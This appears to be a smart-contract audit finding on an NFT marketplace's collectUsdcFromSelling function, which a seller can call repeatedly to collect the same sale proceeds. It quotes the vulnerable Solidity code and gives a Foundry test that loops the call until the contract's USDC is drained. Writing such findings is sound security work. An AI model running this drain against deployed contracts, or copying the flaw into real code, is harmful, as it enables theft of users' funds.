function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
@>
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
This attack is high likely to occur, because the malicious seller only needs his NFT to be sold and he keep clicking the collectUsdFromSelling function
Below is the proof of code where malicious seller sold his NFT and keep clicking the collectUsdFromSelling function and drains the contract funds
function testAttackerDrainTheContractByReuseOfTheCollectUsdcFromSelling() public revealed {
uint256 userWithCashTokenId = 1;
uint256 userWithCashPrice = 50e6;
mintAndListNFTForTesting(userWithCashTokenId, userWithCashPrice);
uint256 newUserTokenId = 2;
uint256 newUserPrice = 100e6;
mintAndListNFTForTestingNewUser(newUserTokenId, newUserPrice);
uint256 attackerTokenId = 3;
uint256 attackerPrice = 1e6;
mintAndListNFTForTestingAttacker(attackerTokenId, attackerPrice);
vm.startPrank(buyer);
usdc.approve(address(nftDealers), 160e6);
nftDealers.buy(1);
nftDealers.buy(2);
nftDealers.buy(3);
vm.stopPrank();
uint256 contractBalanceBefore = usdc.balanceOf(address(nftDealers));
uint256 balanceOfAttackerBefore = usdc.balanceOf(attacker);
vm.startPrank(attacker);
while (usdc.balanceOf(address(nftDealers)) > 1e7) {
nftDealers.collectUsdcFromSelling(attackerTokenId);
}
vm.stopPrank();
uint256 contractBalanceAfter = usdc.balanceOf(address(nftDealers));
uint256 balanceOfAttackerAfter = usdc.balanceOf(attacker);
assertLt(contractBalanceAfter, 1e7);
assertGt(balanceOfAttackerAfter, balanceOfAttackerBefore);
}